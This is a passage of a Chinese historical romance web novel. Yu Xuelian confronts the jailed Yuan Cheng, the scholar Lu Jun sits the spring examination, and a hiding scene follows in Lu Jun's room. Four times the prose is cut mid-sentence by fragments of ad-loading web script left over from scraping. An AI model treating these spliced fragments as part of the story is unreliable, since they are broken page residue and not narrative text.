张沃差点摔在地上，他拍了拍棉花袄，两颗虎牙冒着莹莹水泽，问道：“爷爷不再给点吗？” “你怎养出来的人精孙子。”陈昌石乐道：“张沃，这银子够大哥哥买好几天的菜了，还问你爷爷要银子？” “我的拨浪鼓坏了，要买个新的。”张沃掰着手指头，说，“拨浪鼓花不了爷爷几个铜板，还有大哥哥的辛苦钱嘛。” 张沃的脑门挨了一下，他吃痛地摸摸额头，眼里顿时蓄满泪。 张泰禾厉声说：“你玩坏的拨浪鼓堆成山了，不许让你大哥哥再买。” 张沃傻站在原地，被训的找不着东南西北。 陈昌石站起身，劝张泰禾：“好了，你别把孩子给吓傻了。” 概因太过委屈，张沃使袖子用劲擦着眼，又踮起脚把碎银子拿到手。 * 到了熙南路，陆隽带张沃买了当下时节热卖的时蔬。 他对金陵城的街巷其实不够熟悉，这条路是虞穗告诉他的。 她说熙南路的菜市小贩实诚，不恶意加价，给的菜也是最新鲜的。 “大哥哥，你这是要去哪儿？”张沃年纪小，但自幼在金陵，娘亲领他买过几次菜，出了熙南路，再拐两条巷子，就到家了。 可大哥哥走的路把他弄迷糊了，回家走的是这条路吗？ 陆隽停下脚步，意识到自己偏离了方向。 “诶，这是上回爷爷吃酒的地方！”张沃撒开腿地跑到镇国将军府的府门前，笑道，“大哥哥不会是想吃酒了吧？” 府门大敞，门槛后站着管家，他郑重地在和小厮交代事儿，瞥见这突然冒出的孩童，和颜悦色的过去。 “小娃娃。”丁管家俯身问，“你爹娘呢？” 张沃倒不胆怯：“我跟大哥哥出来买菜，走着走着，就到你们府邸了。” 丁管家觉得孩童面生，对他爹娘也没印象。 “你大哥哥？”丁管家抬头看，见陆隽不疾不徐的走来，笑问：“公子可是有事到访？” 张沃摇头说：“爷爷，我刚才不是说了吗？我和大哥哥是出来买菜的。”他声音稚嫩，指着陆隽手里的菜篮子，道，“大哥哥买了冬瓜，要炖汤喝呢。” “是我走错路了。”陆隽带着歉意说，“打扰前辈了。” “公子客气。”丁管家上了年纪，但眼睛好使。这身穿布衣的公子明显出身贫寒，用词着调谦和，这年头在金陵会洗手作羹汤的年轻人可谓是珍稀。 他一个老管家，被年轻人称之前辈，受之有愧啊。 丁管家没忍住问了一句：“公子是认识我家老爷？” 陆隽颔首说：“陆某偶然有幸和老师参加过老太太的寿宴。” 丁管家若有所思地说：“原是这样。” 这时，小厮从府邸后门牵出一辆马车。 那马车上大概已坐了人。丁管家客套地要请陆隽进府坐坐，而陆隽再三推辞，丁管家便说要去忙事了。 马夫驾车驶向皇宫边的昭狱。 南郢昭狱是锦衣卫的地盘，此地关押着圣上亲自审判的罪犯，其地位皆不凡。 “娘子，您一个人去行吗？”金盏素来不怕事，今儿个感受到昭狱的阴森恐怖，走路的步子都不稳了。她压低嗓音，抱怨道：“小侯爷这会儿子知晓谁是真心待他的人了，他难道不知昭狱阴气重吗？锦衣卫还不准我陪您一起去里边，万一您出事……” 今日锦衣卫来府邸传话，说小侯爷非要见娘子一面。 夫人听了脸色瞬间吓白了，老爷更是心乱如麻，让锦衣卫通融通融，拒掉袁丞的请求。 然锦衣卫统领说，小侯爷有要松口的意思。离他招供就差临门一脚，且只要他们请娘子见小侯爷一面。 娘子身子娇弱，来这种人不人鬼不鬼的地方，夜里指定要做噩梦。 “这是没法子的事。”虞雪怜裹紧披风，道，“你便在这里等我半个时辰。” 金盏忧虑地望着毫无一丝光亮的路，说：“娘子要当心点。” 话罢，有狱卒引路，领虞雪怜去关押袁丞的牢房。 不过午时，狱卒却拿着蜡烛照明。 在昭狱走动，像栽入万丈深渊，黑漆漆的潮湿地面，伸手不见五指。 虞雪怜走的很慢，狱卒见怪不怪，也不催她。 “到了。”狱卒把蜡烛交给虞雪怜，趾高气昂地瞅了一眼坐在干草堆上的袁丞，“上边吩咐了，给你半个时辰，老实些。” 他用钥匙解开牢房的锁，说：“小娘子，进去吧。” “有劳。”虞雪怜接了蜡烛，迟疑片刻，止步在牢房前。 一夕间成了囚犯，袁丞身上鞭痕累累，那双桃花眼失去光泽。他呆坐着，仿佛一滩被人践踏的烂泥。 “你为何要见我？”虞雪怜问。 袁丞目光缓缓移向虞雪怜，他嘴唇干裂，道：“我以为你不会来。” 即使临川侯府被圣上贴了封条，但砍头的圣旨一日不下，他和父亲就有一日的希望。 父亲被抓走后，他差人散尽临川侯府的钱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 财，去找曾经恳求父亲办过事的朝臣，为临川侯府翻案。 他料到旁人对此避之不及，可若不去尝试，便要坐着等死了。 虞雪怜说：“你进了昭狱，仍有本事使唤锦衣卫，我哪敢不来呢。” “穗穗。”袁丞本要起来说话，接连数日的刑罚，身上没有一处是利落的。他按了按腿，问，“你肯帮临川侯府吗？” 虞雪怜默不作答，曾有一日，她也是这么问袁丞的。 相比之下，袁丞过得要轻松很多。 她双手双脚带着镣铐，吃不饱一顿饭，受着非人摧残的刑罚。她问袁丞，能不能帮她给爹爹翻案，挽救镇国将军府。 他皱眉责怪她，铁证如山，镇国将军府在劫难逃，不要拉临川侯府下水。 她接着求他救她，他不能帮镇国将军府，她可以自己查案。 袁丞也的确救了她一命，送她去了教坊司。 “我要怎么帮？” 蜡烛的烛光一晃一晃，虞雪怜垂下眼帘，说：“你父亲若是清白的，岂会有今日。” 袁丞否认道：“我父亲是被冤枉的。” “袁丞。”虞雪怜冷漠的说，“你说的这句话，有人信吗？” 上辈子的记忆在此刻逐一浮现。临川侯府覆灭，她一直耐着性子等，等的便是今日。 她走进牢房，问：“谁会冤枉你父亲？” “冯璞玉！”袁丞似乎怕和虞雪怜对视，他避开她的眼神，情绪激动，“是他污蔑我父亲，我父亲从未贪污国库金银，背叛陛下。是冯璞玉，你不懂阉人，他们天生缺陷，妒忌心重，惯爱动歪脑筋，他蛊惑陛下，给我父亲扣上莫须有的罪名。” 虞雪怜说：“我听闻若能给你父亲投掷千金，他方能给人安排官职。” 袁丞咬牙切齿地说：“这罪不至死。” “哦。”虞雪怜轻飘飘地说：“我没本事帮临川侯府。” 袁丞用手撑起身子，说：“你父亲能帮。”眼下镇国将军府是他唯一抓得到的救命稻草，他道：“你父亲战功赫赫，他若肯在圣上面前给临川侯府求情，我父亲和母亲……不会死。” “若圣上迁怒我爹爹呢？”虞雪怜走近，蜡烛的光刺在袁丞的眼睛，问道，“你要拖镇国将军府下水吗？” 袁丞捂住眼睛，胳膊的伤痕开始发痛，他狼狈地说：“不——” 他接受不了临川侯府将要满门抄斩，接受不了想要娶的妻子落井下石。 “你要眼睁睁的看我死吗？”袁丞崩溃的质问，“若我死了，你不会愧疚吗？” 不待虞雪怜回应，他答道：“你不会愧疚，我若死了，你应当高兴。” “那依你所说。”虞雪怜低笑道，“我应当高兴。” 袁丞闻言放下遮住眼睛的手，他的伤口渗血，涣散的眼眸集中视线。 虞雪怜看他犹如是在看深仇大恨的敌人，好似真的很高兴。 袁丞冒了冷汗，他自问没对她做过亏心事，她那么娇气胆小的人，如何会露出这种狡黠的表情。 54. 除夕 虞雪怜在昭狱来过一遭，关在这地方的人，哪个不曾手握实权，可到了这儿，便像被剥了皮的羊，被圈在牢房里。 任以前有再多的奴仆伺候，吃再多的山珍海味，在这会儿算是过去了。只等着圣上宣旨给个了断，就是连这不见天日的牢房，都不得待了。 “你不愿念一点旧情？”袁丞一字一顿地问，“临川侯府倒了，你以为你父亲能独善其身吗？” 虞雪怜保持着和袁丞的距离，手中的蜡烛已烧掉小半截，她反问：“小侯爷的旧情，竟剩下我这一份了吗？” “你这是何意。”袁丞颓丧的脸有些不耐烦，兴许是认命了，他自暴自弃地瘫坐着，道，“这个节骨眼上，你还要翻旧账吗？” 虞雪怜失笑道：“小侯爷误会了。” “燕王世子不是小侯爷的好友吗？倘若他能帮你在圣上面前求情，临川侯府得救的可能要多一些。” 袁丞哑口无言，良久才道：“你不想帮我就罢，不必牵扯燕王世子。” “牵扯？”虞雪怜依依不饶道：“你既知是牵扯，今日叫我过来，是看镇国将军府好欺负？” 袁丞再不如从前那样有精力辩解，也没话去反驳虞雪怜。他如今是阶下囚，冯璞玉一手遮天，燕王世子当然不肯救临川侯府。 这时，狱卒提着钥匙，高声提醒：“够半个时辰了啊。” 虞雪怜头也不回的走出牢房，把蜡烛递交给狱卒。 金盏在门口左顾右盼，终于见虞雪怜的身影，忙不迭地迎上去，问：“娘子，您……您没事吧？” 她站在这里侯着惊恐不安的，听到里边还有凄惨的呻吟，真是吓破了胆，腿都跟着发软了。 “没事。”虞雪怜得体地回道。随即向狱卒道谢，“有劳狱卒大哥，人我也见了，先告辞了。” 狱卒久在昭狱做事，对金陵城的世家摸的很清楚，但这昭狱可没几个女娘敢进来。 “娘子客气。”狱卒作揖道，“上边打了招呼，娘子在临川侯府一案起的是至关重要的作用，让卑职护娘子周全。” “小女子恐怕起不了什么作用。”虞雪怜说，“袁丞此举是走投无路，他劝说我让镇国将军府帮他一把。我虽在闺阁，可知晓圣命难违，我与袁丞早断了情，望狱卒大哥转告上边，莫要轻易听信袁丞的话。” 金盏在旁频频点头，她怕袁丞在狱卒面前诬陷她们镇国将军府，老太太百般教娘子该怎么在这昭狱说话行事，不仅要端着大家闺秀的架子，还要用简短的话语划清和临川侯府的关系。 狱卒笑了笑，道：“娘子的意思，卑职明白。其实这话不应跟娘子说，这几天袁丞胡乱咬人，说这个大臣贪污，那个将军勾结北凉人，一句不说他们临川侯府的过错。上边想着这么下去也不是回事，吩咐我给他施重刑。” 锦衣卫受陛下的指令，查抄了临川侯府，府邸库房放了整整五箱白银，拢共有七百两白银，加之银票，金银珠宝，其数额令人咋舌。近两年南郢国库空虚，且不说临川侯卖官一事，光是他贪的金银，就惹得圣上龙颜大怒。 虞雪怜仔细听着，放低眉眼，睫毛轻颤，做足了女儿家无措的模样。 她一言不发，这狱卒说不应告诉她，嘴巴却像漏水的葫芦似的。 “结果袁丞又非要见娘子，上边大致猜到了他动的是什么歪脑筋，就允了他。娘子的话正对了上边的猜测，今日算是辛苦娘子走这一趟，马车就在原地拴着，卑职便不送娘子了。” 言毕，他拱手请虞雪怜上马车。 * 至腊月，圣上迟迟未宣临川侯问斩的日子。钦天监说快要过年了，向陛下提议，切勿选这个时节行刑见血，影响南郢明年的运气。 临川侯府垮台，于金陵城来说，不过是消失了一户权贵世家，丝毫不妨碍其他人逍遥享乐。 陆隽在他租的宅院过的除夕，堂屋放着虞雪怜送的年货。 烛光下，吴阿牛咧嘴笑着，一只手拨算盘珠子，另一只手翻着账簿。 “隽哥，你猜咱今年赚了多少银两？”吴阿牛头一回不在家里过年，他翘着二郎腿，少年俨然成了精明的商人。“隽哥，大过年的，你高兴点嘛。” 陆隽漫不经意的说道：“我没有不高兴。” 吴阿牛嘴角抽搐：“我是让你高兴点，没说你不高兴。”他把账簿合上，给陆隽斟酒，道，“隽哥，今年布庄赚了五十两银子呢！” 这笔银两放在花坞村，是耕一辈子田都赚不到的数，吴阿牛说不出的扬眉吐气：“隽哥，我听了你的话，不跟我爹娘谈布庄的生意。不然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那些村头婶子坏亲戚，全跑来问我借银子了。” 陆隽问：“给盼夏送布料了吗？” 吴阿牛习惯了他说东，隽哥说西，甚至对答如流：“布庄前段日子生意特别好。小娘子过年要做新衣裳，清早刚摆的新布料，晌午就卖空，让对面那掌柜眼红的要滴血了。” “我专门跟布庄的绣娘说了，给盼夏留几匹锦缎，再给她做一件氅衣，昨儿我给她送过去的。”吴阿牛说到此处，咳嗽道，“隽哥，你，你给虞姑娘送东西了吗？” 陆隽淡然问：“你不拨算盘了？” 吴阿牛收起算盘，平日他对隽哥言语委婉，借着酒劲才有胆量：“隽哥，你不能老让人家虞姑娘跑到山沟里找你呀。明儿个入正月了，虞姑娘肯定不会来这儿。” 陆隽由着吴阿牛义正词严地讲话。 “隽哥，你自己算算。出了正月，二月你要春闱，那等你当了官，不能还让人虞姑娘在后面追着你跑吧？” 末了，陆隽只道：“你做了掌柜，算账的本事倒是有长进。” 吴阿牛傻笑道：“是隽哥教的好！” “你算帐长进了，可凭何教我怎么娶妻？” “凭……”吴阿牛迷迷糊糊，根本意识不到陆隽此话何意。 他挠了挠脖子，想了半响，反应过来，隽哥是在说，他凭什么教隽哥娶妻？ 吴阿牛叹道：“隽哥说得对，我自个儿还没娶到媳妇呢。” “良辰美景，咱接着吃酒。” 吴阿牛又翻起账簿，问陆隽明年要怎样经营布庄的生意，争取把五十两的银子翻三倍。 春闱定在二月九日，分三场，到二月十七结束。 陈昌石过了上元节便带着书院的学生赴金陵赶考，他把学生安置到客栈，一切妥当后，陆隽接陈昌石回宅院住下。 “陆隽，你这院子打理得不错。” 陈昌石坐在摇椅上，瞧着这一方小院，冷不丁地瞥见挂在屋檐的灯笼。 准确的说，是两个花灯。涂以金漆，玲珑剔透，在白天看着略显淡雅。 陈昌石捋着胡子，笑问：“陆隽，这是谁买的花灯？” 他这个学生过度节省，把铜钱看得很重要。岂会愿意花银子买女娘喜欢的花灯，还挂在自家屋檐下。 55. 藏身 在陈昌石看来，华而不实的物件，陆隽不会喜欢。 是谁送给他的？ “你先别忙活了。”陈昌石颇有要审问的意思，他直起腰，拍了两下摇椅的扶手，“这两个花灯是在高淳老街买的吧？” 陈昌石只瞧一眼，便看得出这花灯是在金陵哪条街卖的。好歹为官几十年，稀罕玩意也是见过的，高淳老街是城中贵族仕女常去的地方，那里的商贩门路广，什么珍奇古怪的东西都弄得来，但不收铜板，张口要的就是白银。 “老师的眼力不减从前。”陆隽出了堂屋，端了一盏泡好的散茶，他答道：“是在高淳老街买的。” 陈昌石接了茶，却不急着品，“你变了不少。” “是遇着中意的娘子了？”陈昌石直言不讳地问。 陆隽说：“老师何出此言。” 陈昌石掀开茶盖，嘴巴凑到杯口，吹散热气，意有所指道：“你从前可不爱吃茶。” “可老师不爱吃茶吗？” 陆隽转身去厢房拿出一床被褥，放到西厢房去，厢房挨着院子，来回不过三两步的距离。 “学生这里原是没有茶叶喝，知道老师要陪着书院的学生考完春闱，便去城里买了些散茶。” 他做活干脆，有条不紊。陈昌石默了片刻，笑道：“怎么来金陵几天，学会耍嘴皮子这套了，跟我绕来绕去的。不说这茶叶，我问你，上元节那天，你自个儿去的高淳老街？” 概因长辈的嗅觉不同于旁人，陈昌石说话间，进了堂屋，端着茶盏看了一圈——陆隽这屋里，曾有女子来过。 痕迹是骗不了人的，譬如搁置在案上的琉璃灯，飘散在屋内的糖酥味。陆隽是陈昌石的得意门生，所谓师者父母，凡是教过学生的，尤其上了年数的，他们对学生的喜好一清二楚。 陆隽失去双亲，舍不得吃，舍不得穿。 人的习惯一时半会儿很难改变，陈昌石以为，无论是屋檐下的花灯，还是这琉璃灯和糖酥，都是那女子带来的。 陆隽铺好被褥，听见堂屋的动静，移步过去。他无意要瞒老师什么，道：“学生是陪朋友一起去的。” 陈昌石不愿啰嗦地追问陆隽，老大不小的了，陆隽能敞开心扉接触女子，做老师的，自然是欣慰：“你朋友的眼光不错。” 这一茬算是说完了，陈昌石提起书院的学生，道：“这群小子要有你一半沉稳就成了，到了金陵没翻过一页书，像刚出羊圈似的乱跑。” 陆隽不善宽慰人，也知老师并非真的生气，是以言语简单：“他们年轻气盛，老师不必因此动气。” “是呀，年轻气盛。”陈昌石长长地舒了一口气，望着屋外湛蓝的天，“那群小子从慈溪镇来金陵，若是闷在房里读书温习，我倒要骂他们傻瓜了。” 他感慨道：“想你十七岁的时候，上哪来的年轻气盛？你写字的这一双手在客栈做工冻烂了，回到书院又接着研墨写功课。” 陈昌石忆往昔，为人父，为人师，他视陆隽如己出。 一晃一年，陆隽终是到了金陵，该教的该说的，他全都不保留的告诉陆隽了。 “不消半年，今日来金陵的学生便和你是同僚。他们初出茅庐，若背后没人指点，做事不机灵，被圣上派遣当个小官，一辈子就这样了。” 陆隽道：“这跟老师无关。” 陈昌石摇头笑道：“我不是这个意思。”他轻快地说，“纵使跟我有关，我也没法子帮他们咯。” “来，你给我再斟一杯茶，我跟你讲讲春闱的头一场考什么。” * 熬进春闱的考生耐性不相上下，为期九天，吃住皆在贡院，鲜有人抱怨环境差。 至最后一天，考生交了试卷，出来便聚在一块儿谈论题目。 “德海兄，我瞧你是第一个交卷的，看着是胸有成竹啊。” “咱们国子监今年就靠德海兄了，我邻座的那家伙，考一场睡一场！清早上茅房，我忍不住问他是在哪读的书，想不到竟是咱们国子监的学生。” “他莫不是嫌害臊，故意抹黑国子监的？先生交代了八百遍，哪怕题目读不懂，写不出来，也绝不准在贡院打瞌睡，给国子监丢脸。” 这一片的考生有书童伺候，腿脚刚离开贡院，外边的书童忙拿着氅衣给他们穿上。 “郎君，春二月的天冷起来要人命。您受劳累了，管家在云路街等着呢，夫人说贡院做的膳食清淡，让小厨房给您熬了鸡汤。”梁德海的书童长了一副秀气的面孔，说话柔弱，他不像别的书童问主子考得如何，很有见地的跟主子聊起新刊印的诗书。 而另一片松松散散，甚至哈欠连天的考生，乃金陵城有名的纨绔子弟，走出贡院，勾肩搭背地逮熟人去吃酒。 陆隽背着竹篓，独自沿着路边行走，少数人如他一样，从乡镇里考到金陵来，身边既无书童，也无同伴。 “哎——陆兄！你等等我。”穿粗布棉袍的青年一路小跑，带着寒气的天却冒了满头的汗，他追上陆隽，道，“陆兄，你住哪家客栈？” 青年是西北人氏，有一口浓重的乡音。他跟陆隽是同一个主考官，座位在陆隽前边，几天下来能说上几句话，他在金陵不认得什么人，所以想跟陆隽搭个伴。 陆隽放慢脚步，应道：“陆某在城外租了宅院。” “租了宅院？”赵宗朴实地问，“陆兄，你为了赴考在金陵租了一座宅院吗？” 陆隽说：“不全是为了赴考。” 赵宗觉得稀奇，但止住问话，道：“陆兄，我住在陶然客栈，你若有空，咱们明日在这城里逛逛呗。” 云路街停了一辆接一辆的马车，堵得街道拥挤。 陆隽有些心不在焉，礼貌的推辞道：“陆某家中有老人要照顾，明日不方便出门。” 赵宗心下暗忖，这陆隽的家境估计不好，拖家带口的来赴考，忒不容易。他体谅的说：“没事没事，照顾老人要紧。” 路被堵的一点都走不动了，赵宗抱怨富家子弟未免太过娇生惯养，走几步路都懒得走，弄得大伙儿要在这儿傻站着。 约莫足有半个时辰，马车陆续接了主子，道路恢复畅通。 陆隽跟赵宗道了别，他绕路走小巷出城，回到宅院已是黄昏，陈昌石正在灶房煮粥，催陆隽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快些洗手吃饭。 “我明日得去客栈看看那群兔崽子，你就在家好生歇着，静等放榜。”陈昌石红光满面，似是喝了酒，鼻头红红的，“张泰禾这老头说让你明日去他家吃饭，我帮你给拒了，他不知晓考生交了试卷的第二日，要在家闭目养神吗。” …… 春闱结束的次日，金陵仿佛掀开了数日来一直罩着的盖子，热闹沸腾。 虞雪怜选在这一天去陆隽家。 越是接近陆隽入朝，虞雪怜越感觉慌张。许是见过上辈子怪癖又阴狠的陆隽，加之她和陆隽仍隔着一层未说清道明的关系，她不得不谨慎地与他相处。 古人有云，谨慎为妙。有血缘的亲戚尚且因芝麻小事闹翻脸，遑论不沾亲带故的关系呢。 彼时，陆隽在整理厢房的书册。 “陆隽。”虞雪怜在房外唤他，见堂屋关着，便轻车熟路地进了陆隽的厢房。 陆隽的手突然一顿，他回头看她，问：“虞姑娘今日有空了？” 虞雪怜笑道：“这句话是何意？” 陆隽抿唇不语，继续收着书案上的竹简。他有许多话想对她说，可无从说起，也不知说什么是好。 陆隽的手很忙碌，他把书册摆整齐，看了竹简的内容，再将它们堆放书架。 他本想让虞雪怜先去堂屋坐，但虞雪怜执意要留在厢房帮他收整，他便默许了。 地上放了一筐闲杂的书，虞雪怜俯身拿起一本，说：“你昨日在贡院考试，今日不歇息吗？” 陆隽说：“歇了一夜，闲着无事。” “歇一夜就好了吗？”虞雪怜脱口而出，“陆公子的精神气真好，我爹爹说有些考生考完能睡许久，叫都叫不醒。” 她默默思量，不愧是首辅大人，片刻也不让自己闲着。 话音落地，陈昌石的声音在门外响起—— “老家伙，你耳朵一定是聋了，这哪儿有女子？陆隽在厢房歇着，你莫要胡说。” 张泰禾哼道：“我不会听错的。” “倔驴。”陈昌石啧啧道，“我去叫陆隽起来。” 虞雪怜几乎飞速起身，万幸陆隽的房门是合上的，否则……她想立刻遁地逃走。 她蹑手蹑脚地藏在书架后面，顺手拉着陆隽。 陆隽不解，是他见不得人，还是她和他在一起见不得人？ “陆隽？”陈昌石敲了敲房门，试探地问：“你醒了吗？” 张泰禾用手指掏耳朵，说：“难不成是我耳朵出毛病了，我分明听见有女子在说话。” 陈昌石显然不信：“你改天找个大夫瞧瞧罢，若哪日吓着你孙子了，我看你怎么办。” “陆隽在屋里吗？”张泰禾问道，“他是不是累着了。” 房内，虞雪怜害怕陆隽的老师推门，这书架有几处是镂空的，遮掩不了她和陆隽。 她慢吞吞的带陆隽走到墙根那处，却见陆隽张唇像是要说话。 虞雪怜抬手捂住他的嘴巴，示意他不要言语。她手掌微凉，陆隽的气息却是热的。 陆隽纹丝不动地注视着她，他似乎一点都不慌张。 56. 误会 响声停了，房外的两位老者只当陆隽睡得沉，便说先去堂屋坐着。 堂屋不隔音，他们的交谈声仿佛能穿透墙壁。 “咱们呐，也别叫陆隽了，让他踏实地睡一觉。”张泰禾琢磨道，“莫非我这耳朵果真是出毛病了？这会儿倒是听不见那动静了。” 陈昌石嘲笑说：“你耳朵早出毛病了，你我二人都到耄耋之年，眼睛老花，耳朵发聋，这是很正常的事嘛。可你说听见院里有女子的声音——”他笑声爽朗，揶揄道，“张生，光天化日，你让我说什么是好。” 张泰禾经不起陈昌石的逗乐，无可奈何的叹气：“行了，你甭作弄我。我明日就让我儿子媳妇去请大夫来。” 另一边，虞雪怜一筹莫展地站在陆隽身前。 她把捂住陆隽嘴巴的手放下，敛声屏气地问：“怎么办？” 虞雪怜的声音极轻，像是落叶飘在湖面，泛不起丝毫涟漪。 春二月的天变幻莫测，即使今儿个出了太阳，可着实不暖和。 虞雪怜畏寒，她穿着藕荷色对襟方领披袄，袖口有一圈厚厚的绒毛。 方才她抬手时，这一圈绒毛贴在陆隽的脸上，他从未接触这等衣物，好似许多条尾巴在蹭他挠他。 不只是脸，还有他的心。 陆隽问：“你在怕什么？” “我……”虞雪怜深刻体会到有口难言的滋味，耳边是堂屋的交谈声，面前是不为所动的陆隽，她也不敢作过长的解释，若是再被听到，就更麻烦了。 她道：“我怕陆公子的老师误会。” 那阵子跟陆隽学写诗作画，她唤了陆隽几声老师，随之不经意的问过他老师的名字，听陆隽讲了一段他拜陈昌石为老师的事。 陆隽的爹娘不在世，陈昌石便是陆隽视为亲人的长辈。虞雪怜万万想不到今日会遇着这么个情况，按理来说，她是该向长辈问候，但她出现的唐突了点，出现在陆隽的厢房，总归不太好，不像话。 陆隽却低笑：“误会？” 她来他这儿，一向是不分昼夜，不忌讳分毫，今日也知害怕，怕引旁人误会。 虞雪怜方才稳下的思绪又乱了，如此紧要时刻，陆隽因何而笑？ “你，不怕吗？”虞雪怜一字一顿地问。 陆隽摇头。 虞雪怜迟缓地看着陆隽，他的确是不怕。 或是不常见到虞穗慌张失神的模样，陆隽并不急着解决当下的难处，他的眼眸仍带笑意。 “陆某的老师送书院的学生来金陵春闱，住了半个月。”陆隽道出缘由，继续道，“今日老师本要去张先生家吃饭，但——” 他忽然停顿，道：“至于他们为何返回，陆某无从得知。” 现在轮到虞雪怜摇头：“这不重要。” “重要的是，不能让你老师见到我。” 陆隽眸光不明，他凝视她许久，上前走了一步，说道：“虞姑娘既认我是老师，在堂屋坐的，亦算是虞姑娘的老师，如何见不得？” 虞雪怜被问得说不出一句话了，她不由往后退，原想着藏在这处躲掉了危险，谁料最大的危险明摆着在她眼前。 书架把房内的光挡得严严实实。男人身躯略弯，他的影子笼罩在她身上。 他到底是大她七岁，眉眼透露着稳重，虞雪怜看不清楚陆隽此刻的表情，依着她对他的了解，他大抵是面容紧绷，用那双平淡似水的眼睛看她。 虞雪怜只觉陆隽今日是昏了头脑，偏他还是一副正经的口吻。 她推脱道：“不，不可，这不妥。” 说着，她的手胡乱握着陆隽的胳膊，语气恳切：“今日实在不合适，改天我再向老师问候。” 回应她的则是陆隽的笑，他今日已是笑第二次了，且若细细品味，不难听出是在笑她。陆隽问：“往常的胆子去哪儿了？” 虞雪怜使上敬语：“您要跟小女子计较往事吗？” 陆隽也没有要带她去见老师的意思，他仅是借此来看，她的胆量是否有之前那般不怕天不怕地。 “你在此处藏好。”陆隽说，“我去见老师。” 倘若和虞穗一起藏在厢房，老师他们迟早要推门进来。 虞雪怜唇角嗫嚅：“我的马拴在宅院外了。等陆公子进了堂屋，能不能把门关上，我偷偷溜出去。” 厢房委实不宜久留，她需得让陆隽给她做掩护，尽快逃离才是。 陆隽点头答应，随即转身开了厢房的门。 “诶，陆隽，”陈昌石跟张泰禾的对话戛然而止，他们两个正在烹茶，“过来漱漱口，拾掇拾掇换身衣袍，晌午咱们去下馆子。” 陆隽进堂屋，合上门，问道：“老师和先生不是去吃酒了吗？” “还不是怪他。”陈昌石剥了花生壳，往桌边的盘子一扔，道，“我下酒菜都买好了，结果他儿子回来了，逮着张生教导一顿。人大夫嘱咐他，他肝脏生了病，入春不得吃酒。” 张泰禾睨了一眼陈昌石，咳嗽道：“我吃不了酒，不耽误你吃。” 门被合上，堂屋瞬间暗沉。陈昌石招了招手，问：“陆隽，你把门关了做甚？” 说话间，房外传来清脆的敲锣声，“隽哥！隽哥！我来给你贺喜了。” 吴阿牛领着盼夏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从慈溪镇赶了两天的路，就为给陆隽鼓劲儿。 二人瞅见堂屋和东西厢房的门都关着，满脸疑惑。 盼夏捂着耳朵，小声道：“吴阿牛，把你这破锣丢一边去。你忘了，陆隽哥哥的老师也在这里呢！” …… 趁着陆隽关门的工夫，虞雪怜小心翼翼的离开厢房，出了宅院，脚下生风地牵走她来时骑得马。 不巧，她碰着吴阿牛和盼夏，朝他们简短的讲明了她适才的困境，遂告辞往金陵城的方向奔去。 虞雪怜今日没乘马车，她想着以往到陆隽的宅院，一来一回要两个时辰，若是骑马，一个半的时辰就足够了。是以她找了个由头，跟母亲说要去找温昭姊妹春游，用不着乘马车去。 她毕竟是将门之女，骑马出行并无不妥。母亲叮嘱她戴幂篱，切莫抛头露面，也莫要贪玩。 “虞娘子，这边请。” 程管家热情地接待虞雪怜入府，他们户部尚书府一贯是冷冷清清的，府邸的两位娘子随了夫人，不大喜欢交朋友，成天闷在厢房。 自从两位娘子结识了镇国将军府的虞娘子，也愿意到外边逛逛街了。 “有劳程管家。”虞雪怜事先跟温昭打过招呼，她说今日不得已要出府办急事，拿春游做了借口。 户部尚书府离镇国将军府颇远，母亲又见不着温昭姊妹，她无须担忧谎话败露。 程管家是个善谈的，但苦于府邸的主子脾气慢热，不爱讲话。小厮丫鬟们呢，敬他是管家，看见他就低眉顺眼的，所以府邸一来客人，他便要以百倍的精力去伺候。 “昭娘交代老夫，说虞娘子今儿个可能要来府邸做客，我当即差丫鬟去买菜了。”程管家笑容慈祥，跟虞雪怜报着午膳的菜名，“这里面可有虞娘子讨厌吃的？若是有，我好让小厨房撤掉不做。” 虞雪怜道：“没有讨厌的，程管家费心了。” “应该的，应该的。”程管家说，“昭娘的姐姐口味刁，若午膳出现一道她讨厌的菜，她怎么都不肯吃。” 言毕，他们到了后花园。 温嫱抱臂站在凉亭下，瞧虞雪怜来了，冷笑道：“妹妹，我不明白你帮她做什么。去年抛弃袁丞，今年便有了新的情郎，还带坏了你。” 温昭不赞同地说：“姐姐觉得那袁丞是值得托付的郎君吗？虞娘子有何错的？”她试图心平气和地劝姐姐，“虞娘子为人坦诚，姐姐怎屡屡对她阴阳怪气。” “为人坦诚？”温嫱哼道，“她一介女子，嘴里没一句实话。” 温昭辩解道：“虞娘子若如实告诉她母亲，她母亲会不允她出门的。” 57. 议亲 温嫱一时无言，恨铁不成钢地说：“你帮着外人说话就算了，还句句跟我顶嘴？” “妹妹不敢顶嘴。”温昭不想和姐姐起口舌之争，于是缄默不言。 待程管家引路过来，说了两句话，便退下去小厨房备膳了。 虞雪怜笑着向这对姊妹行礼：“今日确有急事，多有叨扰。” 温嫱斜眼看虞雪怜。 心里对她虽有莫名的不满，但从她跟妹妹来往的这些时日，没少送衣裳首饰到尚书府，带妹妹去逛的也都是女娘爱去的地方。 妹妹愚善，能把坏事说成好事。她这个做姐姐的，因这劝说了温昭千百回，可是并不管用。不过父亲的官职在这儿，一般人进不了户部尚书府，她们姊妹没什么朋友。 “虞娘子若说是叨扰，那要如何补偿我们？”温嫱嗤笑道，“指靠我妹妹帮你打掩护，害得我跟在这里担惊受怕，虞娘子轻飘飘地一句叨扰，便想了事？” 温昭连忙打断温嫱的话，委婉地说：“姐姐素来不拘小节，虞娘子只是来府邸用午膳罢了，何来的叨扰。”她本要直言让姐姐别为难虞娘子了，又顾忌此言惹怒姐姐，“上回虞娘子请我们去丰乐楼用膳，便按姐姐说的赔偿，也扯平了。” 温嫱却是不接话，她这妹妹措辞小心谨慎，若再责怪她，倒显得她无理取闹。 虞雪怜笑道：“温嫱姑娘不妨择日来镇国将军府，我常和母亲说，户部尚书府的两位娘子对我照拂不少，她亦念着要我请你们去府邸用膳呢。” 其实这辈子的温嫱与上辈子无甚差别，在教坊司即是这样同她说话，温昭在旁维护着她。 